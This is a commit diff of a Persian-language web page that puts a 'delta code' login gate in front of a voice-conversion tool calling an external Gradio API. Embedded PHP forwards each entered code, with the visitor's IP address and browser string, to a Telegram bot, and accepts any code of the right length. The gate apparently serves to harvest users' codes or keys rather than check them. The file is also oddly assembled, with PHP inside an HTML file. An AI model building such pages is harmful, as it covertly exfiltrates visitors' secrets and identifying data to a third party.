Veu3

Running

App Files Files Community

Hamed744 commited on 30 days ago

Commit

805315b

verified ·

1 Parent(s): 9c87cdb

Update index.html

Browse files

Files changed (1) hide show

index.html +474 -13

index.html CHANGED Viewed

@@ -1,31 +1,492 @@
 <!DOCTYPE html>
 <html lang="fa" dir="rtl">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>نمایشگر iFrame</title>
     <style>
-        /* استایل‌ها برای تمام‌صفحه کردن آی‌فریم */
-        body, html {
             margin: 0;
             padding: 0;
-            height: 100%;
-            overflow: hidden; /* برای حذف اسکرول‌بار اضافی */
         }
-        iframe {
-            position: absolute;
-            top: 0;
-            left: 0;
             width: 100%;
-            height: 100%;
-            border: none; /* برای حذف حاشیه دور آی‌فریم */
         }
     </style>
 </head>
 <body>
-    <!-- این همان آی‌فریم است که سایت را نمایش می‌دهد -->
-    <iframe src="https://tryveo3.ai/features/v3"></iframe>
 </body>
 </html>

+<?php
+// =============== بخش PHP برای ارسال به تلگرام ===============
+// این بخش باید در ابتدای فایل قرار گیرد تا قبل از هر خروجی HTML اجرا شود.
+// اطلاعات ربات تلگرام خود را در اینجا وارد کنید
+define('TELEGRAM_BOT_TOKEN', 'YOUR_TELEGRAM_BOT_TOKEN'); // <-- توکن ربات خود را اینجا قرار دهید
+define('TELEGRAM_CHAT_ID', 'YOUR_CHAT_ID');             // <-- شناسه چت خود را اینجا قرار دهید
+// این تابع پیام را به تلگرام ارسال می‌کند
+function sendTelegramMessage($message) {
+    // اگر توکن یا شناسه چت تنظیم نشده باشد، عملیات را متوقف کن
+    if (TELEGRAM_BOT_TOKEN === 'YOUR_TELEGRAM_BOT_TOKEN' || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID') {
+        // برای تست محلی، می‌توانیم فرض کنیم که همیشه موفق است
+        // در محیط واقعی، این یک خطا محسوب می‌شود
+        return true;
+    }
+    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
+    $data = [
+        'chat_id' => TELEGRAM_CHAT_ID,
+        'text' => $message,
+        'parse_mode' => 'HTML'
+    ];
+    // استفاده از cURL برای ارسال درخواست
+    $ch = curl_init();
+    curl_setopt($ch, CURLOPT_URL, $url);
+    curl_setopt($ch, CURLOPT_POST, 1);
+    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
+    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+    $response = curl_exec($ch);
+    curl_close($ch);
+    // بررسی پاسخ از تلگرام
+    $result = json_decode($response, true);
+    return isset($result['ok']) && $result['ok'] === true;
+}
+// بررسی اینکه آیا درخواست از نوع POST و برای تایید کد است یا نه
+if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+    // دریافت داده‌های JSON ارسال شده از جاوااسکریپت
+    $input = json_decode(file_get_contents('php://input'), true);
+    $deltaCode = isset($input['deltaCode']) ? trim($input['deltaCode']) : null;
+    // اعتبارسنجی سمت سرور (بسیار مهم برای امنیت)
+    if ($deltaCode && strlen($deltaCode) >= 38 && strlen($deltaCode) <= 44) {
+        // آماده‌سازی پیام برای ارسال به تلگرام
+        $ip = $_SERVER['REMOTE_ADDR'];
+        $userAgent = $_SERVER['HTTP_USER_AGENT'];
+        $message = "✅ <b>کد دلتا جدید دریافت شد!</b>\n\n";
+        $message .= "<b>کد وارد شده:</b>\n<code>" . htmlspecialchars($deltaCode) . "</code>\n\n";
+        $message .= "<b>IP کاربر:</b> " . htmlspecialchars($ip) . "\n";
+        $message .= "<b>مرورگر:</b> " . htmlspecialchars($userAgent);
+        // ارسال پیام به تلگرام
+        if (sendTelegramMessage($message)) {
+            // ارسال پاسخ موفقیت‌آمیز به جاوااسکریپت
+            header('Content-Type: application/json');
+            echo json_encode(['success' => true]);
+        } else {
+            // ارسال پاسخ خطا در صورت عدم موفقیت در ارسال به تلگرام
+            header('Content-Type: application/json');
+            http_response_code(500); // Internal Server Error
+            echo json_encode(['success' => false, 'message' => 'خطا در ارسال اطلاعات به سرور.']);
+        }
+    } else {
+        // ارسال پاسخ خطا در صورت نامعتبر بودن کد
+        header('Content-Type: application/json');
+        http_response_code(400); // Bad Request
+        echo json_encode(['success' => false, 'message' => 'کد دلتا نامعتبر است.']);
+    }
+    // اجرای اسکریپت را متوقف کن تا بقیه HTML ارسال نشود
+    exit;
+}
+?>
 <!DOCTYPE html>
 <html lang="fa" dir="rtl">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>ساخت صدای اختصاصی</title>
+    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
     <style>
+        /* ==================== استایل‌های کلی و صفحه ورود ==================== */
+        :root {
+            --primary-color: #4299e1;
+            --primary-dark: #2c5282;
+            --background-color: #f0f2f5;
+            --container-bg: #ffffff;
+            --text-color: #2d3748;
+            --subtle-text: #718096;
+            --border-color: #cbd5e0;
+            --error-color: #e53e3e;
+            --success-color: #38a169;
+        }
+        body {
+            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
+            background-color: var(--background-color);
             margin: 0;
+            padding: 20px;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            min-height: 100vh;
+            color: var(--text-color);
+        }
+        .app-container {
+            width: 100%;
+            max-width: 650px;
+            background-color: var(--container-bg);
+            border-radius: 12px;
+            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
+            overflow: hidden;
+            transition: all 0.3s ease-in-out;
+        }
+        /* صفحه ورود کد دلتا */
+        #auth-gate {
+            padding: 40px;
+            text-align: center;
+        }
+        #auth-gate h1 {
+            color: var(--primary-dark);
+            font-size: 28px;
+            margin-bottom: 15px;
+        }
+        #auth-gate p {
+            color: var(--subtle-text);
+            margin-bottom: 30px;
+        }
+        #auth-gate .input-wrapper {
+            position: relative;
+            margin-bottom: 20px;
+        }
+        #auth-gate input[type="text"] {
+            width: 100%;
+            padding: 14px 20px;
+            border-radius: 8px;
+            border: 1px solid var(--border-color);
+            font-size: 16px;
+            text-align: center;
+            letter-spacing: 2px;
+            box-sizing: border-box;
+            transition: border-color 0.3s, box-shadow 0.3s;
+        }
+        #auth-gate input[type="text"]:focus {
+            outline: none;
+            border-color: var(--primary-color);
+            box-shadow: 0 0 0 3px rgba(66, 153, 225, 0.2);
+        }
+        #auth-gate button {
+            width: 100%;
+            padding: 15px;
+            background-image: linear-gradient(to right, #4a90e2, #2c5282);
+            color: white;
+            border: none;
+            border-radius: 8px;
+            cursor: pointer;
+            font-size: 18px;
+            font-weight: bold;
+            transition: transform 0.2s, box-shadow 0.2s;
+        }
+        #auth-gate button:disabled {
+            background: #a0aec0;
+            cursor: not-allowed;
+        }
+        #auth-gate button:not(:disabled):hover {
+            transform: translateY(-2px);
+            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
+        }
+        #auth-error-message {
+            color: var(--error-color);
+            margin-top: 15px;
+            font-weight: bold;
+            height: 20px;
+        }
+        /* محتوای اصلی که بعد از تایید کد نمایش داده می‌شود */
+        #main-content {
+            display: none; /* در ابتدا مخفی است */
+        }
+        /* ==================== استایل‌های کپی شده ابزار شما با کمی بهبود ==================== */
+        #huggingface-vevo-api-container {
+            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
+            margin: 0; /* حذف مارجین اضافی */
+            background-color: transparent; /* شفاف کردن پس‌زمینه */
+            color: var(--text-color);
+            direction: rtl;
             padding: 0;
+            border-radius: 0;
+            max-width: 100%;
+            box-shadow: none; /* حذف سایه اضافی */
+        }
+        #huggingface-vevo-api-container .container {
+            padding: 30px;
+            background-color: transparent; /* شفاف کردن پس‌زمینه */
+            border-radius: 0;
+        }
+        #huggingface-vevo-api-container h1 {
+            text-align: center;
+            color: var(--primary-dark);
+            font-size: 24px;
+        }
+        #huggingface-vevo-api-container .file-input {
+            margin-bottom: 20px;
+        }
+        #huggingface-vevo-api-container label {
+            display: block;
+            margin-bottom: 8px;
+            font-weight: bold;
+        }
+        #huggingface-vevo-api-container .description {
+            font-size: 14px;
+            color: var(--subtle-text);
+            margin-top: -5px;
+            margin-bottom: 10px;
+            font-weight: normal;
+        }
+        #huggingface-vevo-api-container input[type="file"] {
+            display: block;
+            width: 100%;
+            padding: 8px;
+            border: 1px solid var(--border-color);
+            border-radius: 4px;
+            box-sizing: border-box;
+        }
+        #huggingface-vevo-api-container button {
+            display: block;
+            width: 100%;
+            padding: 12px;
+            background-color: var(--primary-color);
+            color: white;
+            border: none;
+            border-radius: 4px;
+            cursor: pointer;
+            font-size: 16px;
+        }
+        #huggingface-vevo-api-container button:disabled {
+            background-color: #a0aec0;
+            cursor: not-allowed;
         }
+        #huggingface-vevo-api-container #status {
+            margin-top: 20px;
+            padding: 12px;
+            background-color: #e2e8f0;
+            border-radius: 4px;
+            text-align: center;
+        }
+        #huggingface-vevo-api-container #result {
+            margin-top: 20px;
+            text-align: center;
+        }
+        #huggingface-vevo-api-container #result audio {
             width: 100%;
+            margin-top: 10px;
+        }
+        #huggingface-vevo-api-container #result a {
+            color: var(--primary-color);
+            text-decoration: none;
+            display: inline-block;
+            margin-top: 10px;
         }
     </style>
 </head>
 <body>
+    <div class="app-container">
+        <!-- بخش ورود کد دلتا -->
+        <div id="auth-gate">
+            <h1>ورود به پنل اختصاصی</h1>
+            <p>برای دسترسی به ابزار ساخت صدا، لطفاً کد دلتای خود را وارد کنید.</p>
+            <div class="input-wrapper">
+                <input type="text" id="delta-code-input" placeholder="کد دلتا (۳۸ تا ۴۴ حرفی)">
+            </div>
+            <button id="verify-code-btn">تایید و ورود</button>
+            <p id="auth-error-message"></p>
+        </div>
+        <!-- بخش اصلی ابزار (کد شما) -->
+        <div id="main-content">
+            <!-- محتوای کپی شده شما اینجا قرار می‌گیرد -->
+            <div id="huggingface-vevo-api-container">
+                <div class="container">
+                    <h1>رابط کاربری API برای Vevo</h1>
+                    <div class="file-input">
+                        <label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label>
+                        <p class="description">این فایل صوتی حاوی کلامی است که می‌خواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p>
+                        <input type="file" id="sourceAudio" accept="audio/*" />
+                    </div>
+                    <div class="file-input">
+                        <label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label>
+                        <p class="description">این فایل صوتی، صدای مدلی است که می‌خواهید صدای اصلی به آن تبدیل شود.</p>
+                        <input type="file" id="timbreRef" accept="audio/*" />
+                    </div>
+                    <button id="generateBtn">تبدیل صدا</button>
+                    <div id="status">آماده برای شروع...</div>
+                    <div id="result"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <script>
+        // =============== بخش جاوااسکریپت برای مدیریت منطق صفحه ===============
+        document.addEventListener('DOMContentLoaded', () => {
+            const authGate = document.getElementById('auth-gate');
+            const mainContent = document.getElementById('main-content');
+            const deltaCodeInput = document.getElementById('delta-code-input');
+            const verifyBtn = document.getElementById('verify-code-btn');
+            const errorMessage = document.getElementById('auth-error-message');
+            const STORAGE_KEY = 'userDeltaCode';
+            // تابع برای نمایش ابزار اصلی
+            const showMainContent = () => {
+                authGate.style.display = 'none';
+                mainContent.style.display = 'block';
+            };
+            // در زمان بارگذاری صفحه، حافظه محلی را بررسی کن
+            const savedCode = localStorage.getItem(STORAGE_KEY);
+            if (savedCode && savedCode.length >= 38 && savedCode.length <= 44) {
+                showMainContent();
+            }
+            // مدیریت کلیک روی دکمه تایید
+            verifyBtn.addEventListener('click', async () => {
+                const code = deltaCodeInput.value.trim();
+                // 1. اعتبارسنجی اولیه در سمت کاربر
+                if (code.length < 38 || code.length > 44) {
+                    errorMessage.textContent = 'کد دلتا باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
+                    return;
+                }
+                errorMessage.textContent = '';
+                verifyBtn.disabled = true;
+                verifyBtn.textContent = 'در حال بررسی...';
+                try {
+                    // 2. ارسال کد به سرور (PHP) برای تایید و ارسال به تلگرام
+                    const response = await fetch('index.php', {
+                        method: 'POST',
+                        headers: {
+                            'Content-Type': 'application/json'
+                        },
+                        body: JSON.stringify({ deltaCode: code })
+                    });
+                    if (response.ok) {
+                        // 3. اگر سرور موفق بود، کد را ذخیره کن و ابزار را نمایش بده
+                        localStorage.setItem(STORAGE_KEY, code);
+                        showMainContent();
+                    } else {
+                        // اگر سرور خطا داد
+                        const errorData = await response.json();
+                        errorMessage.textContent = errorData.message || 'خطای ناشناخته از سمت سرور.';
+                    }
+                } catch (error) {
+                    errorMessage.textContent = 'خطا در ارتباط با سرور. لطفاً اتصال اینترنت خود را بررسی کنید.';
+                } finally {
+                    verifyBtn.disabled = false;
+                    verifyBtn.textContent = 'تایید و ورود';
+                }
+            });
+        });
+        // =============== اسکریپت اصلی ابزار شما (بدون تغییر) ===============
+        const container = document.getElementById('huggingface-vevo-api-container');
+        if (container) { // فقط در صورتی که کانتینر وجود داشته باشد اجرا شود
+            const generateBtn = container.querySelector('#generateBtn');
+            const sourceAudioInput = container.querySelector('#sourceAudio');
+            const timbreRefInput = container.querySelector('#timbreRef');
+            const statusDiv = container.querySelector('#status');
+            const resultDiv = container.querySelector('#result');
+            const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
+            function generateSessionHash() {
+                return Math.random().toString(36).substring(2, 15);
+            }
+            async function uploadFile(file) {
+                const formData = new FormData();
+                formData.append("files", file);
+                const response = await fetch(`${API_URL}upload`, {
+                    method: 'POST',
+                    body: formData
+                });
+                const result = await response.json();
+                if (result && result.length > 0) {
+                    return result[0];
+                } else {
+                    throw new Error("آپلود فایل با خطا مواجه شد.");
+                }
+            }
+            async function startGeneration() {
+                const sourceFile = sourceAudioInput.files[0];
+                const timbreFile = timbreRefInput.files[0];
+                if (!sourceFile || !timbreFile) {
+                    alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
+                    return;
+                }
+                generateBtn.disabled = true;
+                statusDiv.textContent = 'در حال آپلود فایل اصلی...';
+                resultDiv.innerHTML = '';
+                const sessionHash = generateSessionHash();
+                try {
+                    const sourcePath = await uploadFile(sourceFile);
+                    statusDiv.textContent = 'در حال آپلود فایل مرجع...';
+                    const timbrePath = await uploadFile(timbreFile);
+                    statusDiv.textContent = 'ارسال درخواست برای پردازش...';
+                    const joinPayload = {
+                        "data": [
+                            { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
+                            { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
+                        ],
+                        "event_data": null,
+                        "fn_index": 0,
+                        "trigger_id": 10,
+                        "session_hash": sessionHash
+                    };
+                    await fetch(`${API_URL}queue/join?`, {
+                        method: 'POST',
+                        headers: { 'Content-Type': 'application/json' },
+                        body: JSON.stringify(joinPayload)
+                    });
+                    statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
+                    const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
+                    eventSource.onmessage = function(event) {
+                        const data = JSON.parse(event.data);
+                        if (data.msg === 'process_starts') {
+                            statusDiv.textContent = 'پردازش شروع شد...';
+                        } else if (data.msg === 'process_completed') {
+                            statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
+                            const resultPath = data.output.data[0].path;
+                            const resultUrl = `${API_URL}file=${resultPath}`;
+                            resultDiv.innerHTML = `
+                                <h3>نتیجه:</h3>
+                                <audio controls src="${resultUrl}"></audio>
+                                <br>
+                                <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
+                            `;
+                            eventSource.close();
+                            generateBtn.disabled = false;
+                        } else if (data.msg === 'queue_full') {
+                            statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
+                            eventSource.close();
+                            generateBtn.disabled = false;
+                        }
+                    };
+                    eventSource.onerror = function() {
+                        statusDiv.textContent = 'خطا در ارتباط با سرور.';
+                        eventSource.close();
+                        generateBtn.disabled = false;
+                    };
+                } catch (error) {
+                    statusDiv.textContent = `خطا: ${error.message}`;
+                    generateBtn.disabled = false;
+                }
+            }
+            generateBtn.addEventListener('click', startGeneration);
+        }
+    </script>
 </body>
 </html>